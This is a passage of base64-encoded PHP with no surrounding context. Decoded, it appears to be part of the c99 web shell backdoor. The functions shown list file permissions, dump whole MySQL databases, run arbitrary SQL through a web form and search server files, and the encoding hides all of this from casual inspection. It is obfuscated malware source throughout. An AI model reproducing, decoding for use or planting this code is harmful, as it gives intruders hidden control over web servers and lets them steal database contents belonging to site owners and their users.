vcnQiKSkgew0KICAgIGZ1bmN0aW9uIHRhYnNvcnQoJGEsJGIpIHtnbG9iYWwgJHY7IHJldHVybiBzdHJuYXRjbXAoJGFbJHZdLCAkYlskdl0pO30NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygidmlld19wZXJtcyIpKSB7DQogICAgZnVuY3Rpb24gdmlld19wZXJtcygkbW9kZSkgew0KICAgICAgaWYgKCgkbW9kZSAmIDB4QzAwMCkgPT09IDB4QzAwMCkgeyR0eXBlID0gInMiO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHg0MDAwKSA9PT0gMHg0MDAwKSB7JHR5cGUgPSAiZCI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweEEwMDApID09PSAweEEwMDApIHskdHlwZSA9ICJsIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4ODAwMCkgPT09IDB4ODAwMCkgeyR0eXBlID0gIi0iO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHg2MDAwKSA9PT0gMHg2MDAwKSB7JHR5cGUgPSAiYiI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDIwMDApID09PSAweDIwMDApIHskdHlwZSA9ICJjIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4MTAwMCkgPT09IDB4MTAwMCkgeyR0eXBlID0gInAiO30NCiAgICAgIGVsc2UgeyR0eXBlID0gIj8iO30NCiAgICAgICRvd25lclsicmVhZCJdID0gKCRtb2RlICYgMDA0MDApPyJyIjoiLSI7DQogICAgICAkb3duZXJbIndyaXRlIl0gPSAoJG1vZGUgJiAwMDIwMCk/InciOiItIjsNCiAgICAgICRvd25lclsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAxMDApPyJ4IjoiLSI7DQogICAgICAkZ3JvdXBbInJlYWQiXSA9ICgkbW9kZSAmIDAwMDQwKT8iciI6Ii0iOw0KICAgICAgJGdyb3VwWyJ3cml0ZSJdID0gKCRtb2RlICYgMDAwMjApPyJ3IjoiLSI7DQogICAgICAkZ3JvdXBbImV4ZWN1dGUiXSA9ICgkbW9kZSAmIDAwMDEwKT8ieCI6Ii0iOw0KICAgICAgJHdvcmxkWyJyZWFkIl0gPSAoJG1vZGUgJiAwMDAwNCk/InIiOiItIjsNCiAgICAgICR3b3JsZFsid3JpdGUiXSA9ICgkbW9kZSAmIDAwMDAyKT8gInciOiItIjsNCiAgICAgICR3b3JsZFsiZXhlY3V0ZSJdID0gKCRtb2RlICYgMDAwMDEpPyJ4IjoiLSI7DQogICAgICBpZiAoJG1vZGUgJiAweDgwMCkgeyRvd25lclsiZXhlY3V0ZSJdID0gKCRvd25lclsiZXhlY3V0ZSJdID09ICJ4Iik/InMiOiJTIjt9DQogICAgICBpZiAoJG1vZGUgJiAweDQwMCkgeyRncm91cFsiZXhlY3V0ZSJdID0gKCRncm91cFsiZXhlY3V0ZSJdID09ICJ4Iik/InMiOiJTIjt9DQogICAgICBpZiAoJG1vZGUgJiAweDIwMCkgeyR3b3JsZFsiZXhlY3V0ZSJdID0gKCR3b3JsZFsiZXhlY3V0ZSJdID09ICJ4Iik/InQiOiJUIjt9DQogICAgICByZXR1cm4gJHR5cGUuam9pbigiIiwkb3duZXIpLmpvaW4oIiIsJGdyb3VwKS5qb2luKCIiLCR3b3JsZCk7DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRwd3VpZCIpIGFuZCAhaW5fYXJyYXkoInBvc2l4X2dldHB3dWlkIiwkZGlzYWJsZWZ1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfZ2V0cHd1aWQoJHVpZCkge3JldHVybiBGQUxTRTt9fQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygicG9zaXhfZ2V0Z3JnaWQiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9nZXRncmdpZCIsJGRpc2FibGVmdW5jKSkge2Z1bmN0aW9uIHBvc2l4X2dldGdyZ2lkKCRnaWQpIHtyZXR1cm4gRkFMU0U7fX0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoInBvc2l4X2tpbGwiKSBhbmQgIWluX2FycmF5KCJwb3NpeF9raWxsIiwkZGlzYWJsZWZ1bmMpKSB7ZnVuY3Rpb24gcG9zaXhfa2lsbCgkZ2lkKSB7cmV0dXJuIEZBTFNFO319DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwYXJzZV9wZXJtcyIpKSB7DQogICAgZnVuY3Rpb24gcGFyc2VfcGVybXMoJG1vZGUpIHsNCiAgICAgIGlmICgoJG1vZGUgJiAweEMwMDApID09PSAweEMwMDApIHskdCA9ICJzIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4NDAwMCkgPT09IDB4NDAwMCkgeyR0ID0gImQiO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHhBMDAwKSA9PT0gMHhBMDAwKSB7JHQgPSAibCI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDgwMDApID09PSAweDgwMDApIHskdCA9ICItIjt9DQogICAgICBlbHNlaWYgKCgkbW9kZSAmIDB4NjAwMCkgPT09IDB4NjAwMCkgeyR0ID0gImIiO30NCiAgICAgIGVsc2VpZiAoKCRtb2RlICYgMHgyMDAwKSA9PT0gMHgyMDAwKSB7JHQgPSAiYyI7fQ0KICAgICAgZWxzZWlmICgoJG1vZGUgJiAweDEwMDApID09PSAweDEwMDApIHskdCA9ICJwIjt9DQogICAgICBlbHNlIHskdCA9ICI/Ijt9DQogICAgICAkb1siciJdID0gKCRtb2RlICYgMDA0MDApID4gMDsgJG9bInciXSA9ICgkbW9kZSAmIDAwMjAwKSA+IDA7ICRvWyJ4Il0gPSAoJG1vZGUgJiAwMDEwMCkgPiAwOw0KICAgICAgJGdbInIiXSA9ICgkbW9kZSAmIDAwMDQwKSA+IDA7ICRnWyJ3Il0gPSAoJG1vZGUgJiAwMDAyMCkgPiAwOyAkZ1sieCJdID0gKCRtb2RlICYgMDAwMTApID4gMDsNCiAgICAgICR3WyJyIl0gPSAoJG1vZGUgJiAwMDAwNCkgPiAwOyAkd1sidyJdID0gKCRtb2RlICYgMDAwMDIpID4gMDsgJHdbIngiXSA9ICgkbW9kZSAmIDAwMDAxKSA+IDA7DQogICAgICByZXR1cm4gYXJyYXkoInQiPT4kdCwibyI9PiRvLCJnIj0+JGcsInciPT4kdyk7DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJwYXJzZXNvcnQiKSkgew0KICAgIGZ1bmN0aW9uIHBhcnNlc29ydCgkc29ydCkgew0KICAgICAgJG9uZSA9IGludHZhbCgkc29ydCk7DQogICAgICAkc2Vjb25kID0gc3Vic3RyKCRzb3J0LC0xKTsNCiAgICAgIGlmICgkc2Vjb25kICE9ICJkIikgeyRzZWNvbmQgPSAiYSI7fQ0KICAgICAgcmV0dXJuIGFycmF5KCRvbmUsJHNlY29uZCk7DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJ2aWV3X3Blcm1zX2NvbG9yIikpIHsNCiAgICBmdW5jdGlvbiB2aWV3X3Blcm1zX2NvbG9yKCRvKSB7DQogICAgICBpZiAoIWlzX3JlYWRhYmxlKCRvKSkge3JldHVybiAiPGZvbnQgY29sb3I9cmVkPiIudmlld19wZXJtcyhmaWxlcGVybXMoJG8pKS4iPC9mb250PiI7fQ0KICAgICAgZWxzZWlmICghaXNfd3JpdGFibGUoJG8pKSB7cmV0dXJuICI8Zm9udCBjb2xvcj13aGl0ZT4iLnZpZXdfcGVybXMoZmlsZXBlcm1zKCRvKSkuIjwvZm9udD4iO30NCiAgICAgIGVsc2Uge3JldHVybiAiPGZvbnQgY29sb3I9Z3JlZW4+Ii52aWV3X3Blcm1zKGZpbGVwZXJtcygkbykpLiI8L2ZvbnQ+Ijt9DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9kdW1wIikpIHsNCiAgICBmdW5jdGlvbiBteXNxbF9kdW1wKCRzZXQpIHsNCiAgICAgIGdsb2JhbCAkc2hfdmVyOw0KICAgICAgJHNvY2sgPSAkc2V0WyJzb2NrIl07DQogICAgICAkZGIgPSAkc2V0WyJkYiJdOw0KICAgICAgJHByaW50ID0gJHNldFsicHJpbnQiXTsNCiAgICAgICRubDJiciA9ICRzZXRbIm5sMmJyIl07DQogICAgICAkZmlsZSA9ICRzZXRbImZpbGUiXTsNCiAgICAgICRhZGRfZHJvcCA9ICRzZXRbImFkZF9kcm9wIl07DQogICAgICAkdGFicyA9ICRzZXRbInRhYnMiXTsNCiAgICAgICRvbmx5dGFicyA9ICRzZXRbIm9ubHl0YWJzIl07DQogICAgICAkcmV0ID0gYXJyYXkoKTsNCiAgICAgICRyZXRbImVyciJdID0gYXJyYXkoKTsNCiAgICAgIGlmICghaXNfcmVzb3VyY2UoJHNvY2spKSB7ZWNobygiRXJyb3I6IFwkc29jayBpcyBub3QgdmFsaWQgcmVzb3VyY2UuIik7fQ0KICAgICAgaWYgKGVtcHR5KCRkYikpIHskZGIgPSAiZGIiO30NCiAgICAgIGlmIChlbXB0eSgkcHJpbnQpKSB7JHByaW50ID0gMDt9DQogICAgICBpZiAoZW1wdHkoJG5sMmJyKSkgeyRubDJiciA9IDA7fQ0KICAgICAgaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSBUUlVFO30NCiAgICAgIGlmIChlbXB0eSgkZmlsZSkpIHsNCiAgICAgICAgJGZpbGUgPSAkdG1wZGlyLiJkdW1wXyIuZ2V0ZW52KCJTRVJWRVJfTkFNRSIpLiJfIi4kZGIuIl8iLmRhdGUoImQtbS1ZLUgtaS1zIikuIi5zcWwiOw0KICAgICAgfQ0KICAgICAgaWYgKCFpc19hcnJheSgkdGFicykpIHskdGFicyA9IGFycmF5KCk7fQ0KICAgICAgaWYgKGVtcHR5KCRhZGRfZHJvcCkpIHskYWRkX2Ryb3AgPSBUUlVFO30NCiAgICAgIGlmIChzaXplb2YoJHRhYnMpID09IDApIHsNCiAgICAgICAgLy9SZXRyaWV2ZSB0YWJsZXMtbGlzdA0KICAgICAgICAkcmVzID0gbXlzcWxfcXVlcnkoIlNIT1cgVEFCTEVTIEZST00gIi4kZGIsICRzb2NrKTsNCiAgICAgICAgaWYgKG15c3FsX251bV9yb3dzKCRyZXMpID4gMCkge3doaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfcm93KCRyZXMpKSB7JHRhYnNbXSA9ICRyb3dbMF07fX0NCiAgICAgIH0NCiAgICAgICRvdXQgPSAiDQogICAgICAjIER1bXBlZCBieSAiLiRzaF9uYW1lLiINCiAgICAgICMNCiAgICAgICMgSG9zdCBzZXR0aW5nczoNCiAgICAgICMgTXlTUUwgdmVyc2lvbjogKCIubXlzcWxfZ2V0X3NlcnZlcl9pbmZvKCkuIikgcnVubmluZyBvbiAiLmdldGVudigiU0VSVkVSX0FERFIiKS4iICgiLmdldGVudigiU0VSVkVSX05BTUUiKS4iKSIuIg0KICAgICAgIyBEYXRlOiAiLmRhdGUoImQubS5ZIEg6aTpzIikuIg0KICAgICAgIyBEQjogXCIiLiRkYi4iXCINCiAgICAgICMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0iOw0KICAgICAgJGMgPSBjb3VudCgkb25seXRhYnMpOw0KICAgICAgZm9yZWFjaCgkdGFicyBhcyAkdGFiKSB7DQogICAgICAgIGlmICgoaW5fYXJyYXkoJHRhYiwkb25seXRhYnMpKSBvciAoISRjKSkgew0KICAgICAgICAgIGlmICgkYWRkX2Ryb3ApIHskb3V0IC49ICJEUk9QIFRBQkxFIElGIEVYSVNUUyBgIi4kdGFiLiJgO1xuIjt9DQogICAgICAgICAgLy9SZWNlaWV2ZSBxdWVyeSBmb3IgY3JlYXRlIHRhYmxlIHN0cnVjdHVyZQ0KICAgICAgICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0hPVyBDUkVBVEUgVEFCTEUgYCIuJHRhYi4iYCIsICRzb2NrKTsNCiAgICAgICAgICBpZiAoISRyZXMpIHskcmV0WyJlcnIiXVtdID0gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICRyb3cgPSBteXNxbF9mZXRjaF9yb3coJHJlcyk7DQogICAgICAgICAgICAkb3V0IC49ICRyb3dbIjEiXS4iO1xuXG4iOw0KICAgICAgICAgICAgLy9SZWNlaWV2ZSB0YWJsZSB2YXJpYWJsZXMNCiAgICAgICAgICAgICRyZXMgPSBteXNxbF9xdWVyeSgiU0VMRUNUICogRlJPTSBgJHRhYmAiLCAkc29jayk7DQogICAgICAgICAgICBpZiAobXlzcWxfbnVtX3Jvd3MoJHJlcykgPiAwKSB7DQogICAgICAgICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXNzb2MoJHJlcykpIHsNCiAgICAgICAgICAgICAgICAka2V5cyA9IGltcGxvZGUoImAsIGAiLCBhcnJheV9rZXlzKCRyb3cpKTsNCiAgICAgICAgICAgICAgICAkdmFsdWVzID0gYXJyYXlfdmFsdWVzKCRyb3cpOw0KICAgICAgICAgICAgICAgIGZvcmVhY2goJHZhbHVlcyBhcyAkaz0+JHYpIHskdmFsdWVzWyRrXSA9IGFkZHNsYXNoZXMoJHYpO30NCiAgICAgICAgICAgICAgICAkdmFsdWVzID0gaW1wbG9kZSgiJywgJyIsICR2YWx1ZXMpOw0KICAgICAgICAgICAgICAgICRzcWwgPSAiSU5TRVJUIElOVE8gYCR0YWJgKGAiLiRrZXlzLiJgKSBWQUxVRVMgKCciLiR2YWx1ZXMuIicpO1xuIjsNCiAgICAgICAgICAgICAgICAkb3V0IC49ICRzcWw7DQogICAgICAgICAgICAgIH0NCiAgICAgICAgICAgIH0NCiAgICAgICAgICB9DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgICRvdXQgLj0gIiMtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS1cblxuIjsNCiAgICAgIGlmICgkZmlsZSkgew0KICAgICAgICAkZnAgPSBmb3BlbigkZmlsZSwgInciKTsNCiAgICAgICAgaWYgKCEkZnApIHskcmV0WyJlcnIiXVtdID0gMjt9DQogICAgICAgIGVsc2Ugew0KICAgICAgICAgIGZ3cml0ZSAoJGZwLCAkb3V0KTsNCiAgICAgICAgICBmY2xvc2UgKCRmcCk7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIGlmICgkcHJpbnQpIHtpZiAoJG5sMmJyKSB7ZWNobyBubDJicigkb3V0KTt9IGVsc2Uge2VjaG8gJG91dDt9fQ0KICAgICAgcmV0dXJuICRvdXQ7DQogICAgfQ0KICB9DQogIGlmICghZnVuY3Rpb25fZXhpc3RzKCJteXNxbF9idWlsZHdoZXJlIikpIHsNCiAgICBmdW5jdGlvbiBteXNxbF9idWlsZHdoZXJlKCRhcnJheSwkc2VwPSIgYW5kIiwkZnVuY3RzPWFycmF5KCkpIHsNCiAgICAgIGlmICghaXNfYXJyYXkoJGFycmF5KSkgeyRhcnJheSA9IGFycmF5KCk7fQ0KICAgICAgJHJlc3VsdCA9ICIiOw0KICAgICAgZm9yZWFjaCgkYXJyYXkgYXMgJGs9PiR2KSB7DQogICAgICAgICR2YWx1ZSA9ICIiOw0KICAgICAgICBpZiAoIWVtcHR5KCRmdW5jdHNbJGtdKSkgeyR2YWx1ZSAuPSAkZnVuY3RzWyRrXS4iKCI7fQ0KICAgICAgICAkdmFsdWUgLj0gIiciLmFkZHNsYXNoZXMoJHYpLiInIjsNCiAgICAgICAgaWYgKCFlbXB0eSgkZnVuY3RzWyRrXSkpIHskdmFsdWUgLj0gIikiO30NCiAgICAgICAgJHJlc3VsdCAuPSAiYCIuJGsuImAgPSAiLiR2YWx1ZS4kc2VwOw0KICAgICAgfQ0KICAgICAgJHJlc3VsdCA9IHN1YnN0cigkcmVzdWx0LDAsc3RybGVuKCRyZXN1bHQpLXN0cmxlbigkc2VwKSk7DQogICAgICByZXR1cm4gJHJlc3VsdDsNCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2ZldGNoX2FsbCIpKSB7DQogICAgZnVuY3Rpb24gbXlzcWxfZmV0Y2hfYWxsKCRxdWVyeSwkc29jaykgew0KICAgICAgaWYgKCRzb2NrKSB7JHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSwkc29jayk7fQ0KICAgICAgZWxzZSB7JHJlc3VsdCA9IG15c3FsX3F1ZXJ5KCRxdWVyeSk7fQ0KICAgICAgJGFycmF5ID0gYXJyYXkoKTsNCiAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxfZmV0Y2hfYXJyYXkoJHJlc3VsdCkpIHskYXJyYXlbXSA9ICRyb3c7fQ0KICAgICAgbXlzcWxfZnJlZV9yZXN1bHQoJHJlc3VsdCk7DQogICAgICByZXR1cm4gJGFycmF5Ow0KICAgIH0NCiAgfQ0KICBpZiAoIWZ1bmN0aW9uX2V4aXN0cygibXlzcWxfc21hcnRlcnJvciIpKSB7DQogICAgZnVuY3Rpb24gbXlzcWxfc21hcnRlcnJvcigkdHlwZSwkc29jaykgew0KICAgICAgaWYgKCRzb2NrKSB7JGVycm9yID0gbXlzcWxfZXJyb3IoJHNvY2spO30NCiAgICAgIGVsc2UgeyRlcnJvciA9IG15c3FsX2Vycm9yKCk7fQ0KICAgICAgJGVycm9yID0gaHRtbHNwZWNpYWxjaGFycygkZXJyb3IpOw0KICAgICAgcmV0dXJuICRlcnJvcjsNCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX3F1ZXJ5X2Zvcm0iKSkgew0KICAgIGZ1bmN0aW9uIG15c3FsX3F1ZXJ5X2Zvcm0oKSB7DQogICAgICBnbG9iYWwgJHN1Ym1pdCwkc3FsX2FjdCwkc3FsX3F1ZXJ5LCRzcWxfcXVlcnlfcmVzdWx0LCRzcWxfY29uZmlybSwkc3FsX3F1ZXJ5X2Vycm9yLCR0Ymxfc3RydWN0Ow0KICAgICAgaWYgKCgkc3VibWl0KSBhbmQgKCEkc3FsX3F1ZXJ5X3Jlc3VsdCkgYW5kICgkc3FsX2NvbmZpcm0pKSB7aWYgKCEkc3FsX3F1ZXJ5X2Vycm9yKSB7JHNxbF9xdWVyeV9lcnJvciA9ICJRdWVyeSB3YXMgZW1wdHkiO30gZWNobyAiPGI+RXJyb3I6PC9iPiA8YnI+Ii4kc3FsX3F1ZXJ5X2Vycm9yLiI8YnI+Ijt9DQogICAgICBpZiAoJHNxbF9xdWVyeV9yZXN1bHQgb3IgKCEkc3FsX2NvbmZpcm0pKSB7JHNxbF9hY3QgPSAkc3FsX2dvdG87fQ0KICAgICAgaWYgKCghJHN1Ym1pdCkgb3IgKCRzcWxfYWN0KSkgew0KICAgICAgICBlY2hvICI8dGFibGUgYm9yZGVyPTA+PHRyPjx0ZD48Zm9ybSBuYW1lPVwiYzk5c2hfc3FscXVlcnlcIiBtZXRob2Q9UE9TVD48Yj4iOyBpZiAoKCRzcWxfcXVlcnkpIGFuZCAoISRzdWJtaXQpKSB7ZWNobyAiRG8geW91IHJlYWxseSB3YW50IHRvIjt9IGVsc2Uge2VjaG8gIlNRTC1RdWVyeSI7fSBlY2hvICI6PC9iPjxicj48YnI+PHRleHRhcmVhIG5hbWU9c3FsX3F1ZXJ5IGNvbHM9MTAwIHJvd3M9MTA+Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcXVlcnkpLiI8L3RleHRhcmVhPjxicj48YnI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9YWN0IHZhbHVlPXNxbD48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zcWxfYWN0IHZhbHVlPXF1ZXJ5PjxpbnB1dCB0eXBlPWhpZGRlbiBuYW1lPXNxbF90YmwgdmFsdWU9XCIiLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF90YmwpLiJcIj48aW5wdXQgdHlwZT1oaWRkZW4gbmFtZT1zdWJtaXQgdmFsdWU9XCIxXCI+PGlucHV0IHR5cGU9aGlkZGVuIG5hbWU9XCJzcWxfZ290b1wiIHZhbHVlPVwiIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZ290bykuIlwiPjxpbnB1dCB0eXBlPXN1Ym1pdCBuYW1lPXNxbF9jb25maXJtIHZhbHVlPVwiWWVzXCI+IDxpbnB1dCB0eXBlPXN1Ym1pdCB2YWx1ZT1cIk5vXCI+PC9mb3JtPjwvdGQ+IjsNCiAgICAgICAgaWYgKCR0Ymxfc3RydWN0KSB7DQogICAgICAgICAgZWNobyAiPHRkIHZhbGlnbj1cInRvcFwiPjxiPkZpZWxkczo8L2I+PGJyPiI7DQogICAgICAgICAgZm9yZWFjaCAoJHRibF9zdHJ1Y3QgYXMgJGZpZWxkKSB7JG5hbWUgPSAkZmllbGRbIkZpZWxkIl07IGVjaG8gIisgPGEgaHJlZj1cIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuYzk5c2hfc3FscXVlcnkuc3FsX3F1ZXJ5LnZhbHVlKz0nYCIuJG5hbWUuImAnO1wiPjxiPiIuJG5hbWUuIjwvYj48L2E+PGJyPiI7fQ0KICAgICAgICAgIGVjaG8gIjwvdGQ+PC90cj48L3RhYmxlPiI7DQogICAgICAgIH0NCiAgICAgIH0NCiAgICAgIGlmICgkc3FsX3F1ZXJ5X3Jlc3VsdCBvciAoISRzcWxfY29uZmlybSkpIHskc3FsX3F1ZXJ5ID0gJHNxbF9sYXN0X3F1ZXJ5O30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX2NyZWF0ZV9kYiIpKSB7DQogICAgZnVuY3Rpb24gbXlzcWxfY3JlYXRlX2RiKCRkYiwkc29jaz0iIikgew0KICAgICAgJHNxbCA9ICJDUkVBVEUgREFUQUJBU0UgYCIuYWRkc2xhc2hlcygkZGIpLiJgOyI7DQogICAgICBpZiAoJHNvY2spIHtyZXR1cm4gbXlzcWxfcXVlcnkoJHNxbCwkc29jayk7fQ0KICAgICAgZWxzZSB7cmV0dXJuIG15c3FsX3F1ZXJ5KCRzcWwpO30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoIm15c3FsX3F1ZXJ5X3BhcnNlIikpIHsNCiAgICBmdW5jdGlvbiBteXNxbF9xdWVyeV9wYXJzZSgkcXVlcnkpIHsNCiAgICAgICRxdWVyeSA9IHRyaW0oJHF1ZXJ5KTsNCiAgICAgICRhcnIgPSBleHBsb2RlICgiICIsJHF1ZXJ5KTsNCiAgICAgICR0eXBlcyA9IGFycmF5KA0KICAgICAgICAiU0VMRUNUIj0+YXJyYXkoMywxKSwNCiAgICAgICAgIlNIT1ciPT5hcnJheSgyLDEpLA0KICAgICAgICAiREVMRVRFIj0+YXJyYXkoMSksDQogICAgICAgICJEUk9QIj0+YXJyYXkoMSkNCiAgICAgICk7DQogICAgICAkcmVzdWx0ID0gYXJyYXkoKTsNCiAgICAgICRvcCA9IHN0cnRvdXBwZXIoJGFyclswXSk7DQogICAgICBpZiAoaXNfYXJyYXkoJHR5cGVzWyRvcF0pKSB7DQogICAgICAgICRyZXN1bHRbInByb3BlcnRpb25zIl0gPSAkdHlwZXNbJG9wXTsNCiAgICAgICAgJHJlc3VsdFsicXVlcnkiXSAgPSAkcXVlcnk7DQogICAgICAgIGlmICgkdHlwZXNbJG9wXSA9PSAyKSB7DQogICAgICAgICAgZm9yZWFjaCgkYXJyIGFzICRrPT4kdikgew0KICAgICAgICAgICAgaWYgKHN0cnRvdXBwZXIoJHYpID09ICJMSU1JVCIpIHsNCiAgICAgICAgICAgICAgJHJlc3VsdFsibGltaXQiXSA9ICRhcnJbJGsrMV07DQogICAgICAgICAgICAgICRyZXN1bHRbImxpbWl0Il0gPSBleHBsb2RlKCIsIiwkcmVzdWx0WyJsaW1pdCJdKTsNCiAgICAgICAgICAgICAgaWYgKGNvdW50KCRyZXN1bHRbImxpbWl0Il0pID09IDEpIHskcmVzdWx0WyJsaW1pdCJdID0gYXJyYXkoMCwkcmVzdWx0WyJsaW1pdCJdWzBdKTt9DQogICAgICAgICAgICAgIHVuc2V0KCRhcnJbJGtdLCRhcnJbJGsrMV0pOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgZWxzZSB7cmV0dXJuIEZBTFNFO30NCiAgICB9DQogIH0NCiAgaWYgKCFmdW5jdGlvbl9leGlzdHMoImM5OWZzZWFyY2giKSkgew0KICAgIGZ1bmN0aW9uIGM5OWZzZWFyY2goJGQpIHsNCiAgICAgIGdsb2JhbCAkZm91bmQ7DQogICAgICBnbG9iYWwgJGZvdW5kX2Q7DQogICAgICBnbG9iYWwgJGZvdW5kX2Y7DQogICAgICBnbG9iYWwgJHNlYXJjaF9pX2Y7DQogICAgICBnbG9iYWwgJHNlYXJjaF9pX2Q7DQogICAgICBnbG9iYWwgJGE7DQogICAgICBpZiAoc3Vic3RyKCRkLC0xKSAhPSBESVJFQ1RPUllfU0VQQVJBVE9SKSB7JGQgLj0gRElSRUNUT1JZX1NFUEFSQVRPUjt9DQogICAgICAkaCA9IG9wZW5kaXIoJGQpOw0KICAgICAgd2hpbGUgKCgkZiA9IHJlYWRkaXIoJGgpKSAhPT0gRkFMU0UpIHsNCiAgICAgICAgaWYoJGYgIT0gIi4iICYmICRmICE9ICIuLiIpIHsNCiAgICAgICAgICAkYm9vbCA9IChlbXB0eSgkYVsibmFtZV9yZWdleHAiXSkgYW5kIHN0cnBvcygkZiwkYVsibmFtZSJdKSAhPT0gRkFMU0UpIHx8ICgkYVsibmFtZV9yZWdleHAiXSBhbmQgZXJlZygkYVsibmFtZSJdLCRmKSk7DQogICAgICAgICAgaWYgKGlzX2RpcigkZC4kZikpIHsNCiAgICAgICAgICAgICRzZWFyY2hfaV9kKys7DQogICAgICAgICAgICBpZiAoZW1wdHkoJGFbInRleHQiXSkgYW5kICRib29sKSB7JGZvdW5kW10gPSAkZC4kZjsgJGZvdW5kX2QrKzt9DQogICAgICAgICAgICBpZiAoIWlzX2xpbmsoJGQuJGYpKSB7Yzk5ZnNlYXJjaCgkZC4kZik7fQ0KICAgICAgICAgIH0NCiAgICAgICAgICBlbHNlIHsNCiAgICAgICAgICAgICRzZWFyY2hfaV9mKys7DQogICAgICAgICAgICBpZiAoJGJvb2wpIHsNCiAgICAgICAgICAgICAgaWYgKCFlbXB0eSgkYVsidGV4dCJdKSkgew0KICAgICAgICAgICAgICAgICRyID0gQGZpbGVfZ2V0X2NvbnRlbnRzKCRkLiRmKTsNCiAgICAgICAgICAgICAgICBpZiAoJGFbInRleHRfd3dvIl0pIHskYVsidGV4dCJdID0gIiAiLnRyaW0oJGFbInRleHQiXSkuIiAiO30NCiAgICAgICAgICAgICAgICBpZiAoISRhWyJ0ZXh0X2NzIl0pIHskYVsidGV4dCJdID0gc3RydG9sb3dlcigkYVsidGV4dCJdKTsgJHIgPSBzdHJ0b2xvd2VyKCRyKTt9DQogICAgICAgICAgICAgICAgaWYgKCRhWyJ0ZXh0X3JlZ2V4cCJdKSB7JGJvb2wgPSBlcmVnKCRhWyJ0ZXh0Il0sJHIpO30NCiAgICAgICAgICAgICAgICBlbHNlIHskYm9vbCA9IHN0cnBvcygiICIuJHIsJGFbInRleHQiXSwxKTt9DQogICAgICAgICAgICAgICAgaWYgKCRhWyJ0ZXh0X25vdCJdKSB7JGJvb2wgPSAhJGJvb2w7fQ0KICAgICAgICAgICAgICAgIGlmICgkYm9vbCkgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9mKys7fQ0KICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgIGVsc2UgeyRmb3VuZFtdID0gJGQuJGY7ICRmb3VuZF9mKys7fQ0KICAgICAgICAgICAgfQ0KICAgICAgICAgIH0NCiAgICAgICAgfQ0KICAgICAgfQ0KICAgICAgY2xvc2VkaXIoJGgpOw0KICAgIH0NCiAgfQ0KICBpZiAoJGFjdCA9PSAiZ29maWxlIikgew0KICAgIGlmIChpc19kaXIoJGYpKSB7ICRhY3QgPSAibHMiOyAkZCA9ICRmOyB9DQogICAgZWxzZSB7ICRhY3QgPSAiZiI7ICRkID0gZGlybmFtZSgkZik7ICRmID0gYmFzZW5hbWUoJGYpOyB9DQogIH0NCiAgLy9TZW5kaW5nIEhlYWRlcnMNCiAgQG9iX3N0YXJ0KCk7DQogIEBvYl9pbXBsaWNpdF9mbHVzaCgwKTsNCiAgZnVuY3Rpb24gb25waHBzaHV0ZG93bigpIHsNCiAgICBnbG9iYWwgJGd6aXBlbmNvZGUsJGZ0Ow0KICAgIGlmICghaGVhZGVyc19zZW50KCkgYW5kICRnemlwZW5jb2RlIGFuZCAhaW5fYXJyYXkoJGZ0LGFycmF5KCJpbWciLCJkb3dubG9hZCIsIm5vdGVwYWQiKSkpIHsNCiAgICAgICR2ID0gQG9iX2dldF9jb250ZW50cygpOw0KICAgICAgQG9iX2VuZF9jbGVhbigpOw0KICAgICAgQG9iX3N0YXJ0KCJvYl9nekhhbmRsZXIiKTsNCiAgICAgIGVjaG8gJHY7DQogICAgICBAb2JfZW5kX2ZsdXNoKCk7DQogICAgfQ0KI